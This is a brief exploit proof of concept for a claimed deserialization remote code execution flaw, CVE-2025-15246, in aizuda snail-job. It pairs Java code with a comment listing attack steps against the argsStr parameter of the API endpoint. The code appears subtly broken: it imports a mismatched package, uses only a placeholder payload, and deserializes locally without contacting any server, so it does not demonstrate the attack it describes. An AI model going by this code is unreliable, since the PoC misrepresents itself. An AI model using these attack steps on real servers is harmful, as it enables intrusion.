CVE-2025-15246 aizuda snail-job 反序列化远程代码执行漏洞

import io.protostuff.fury.Fury; import io.protostuff.fury.serializer.JavaSerializer; public class CVE_2025_15246_POC { public static void main(String[] args) { try { // Create Fury instance with default configuration (vulnerable) Fury fury = Fury.builder() .withDefaultSerializers() .requireClassRegistration(false) .build(); // Example malicious payload using Rome gadget chain // Replace with actual ysoserial payload for exploitation String maliciousArgsStr = "${恶意序列化payload}"; // Deserialize malicious data (triggers RCE) Object result = fury.deserialize(maliciousArgsStr.getBytes()); System.out.println("Deserialization completed: " + result); } catch (Exception e) { System.out.println("Error occurred: " + e.getMessage()); } } } // Example attack scenario: // 1. Attacker identifies snail-job API endpoint // 2. Craft malicious serialized object with command execution payload // 3. Send request with argsStr parameter containing crafted payload // 4. Server deserializes the object, triggering RCE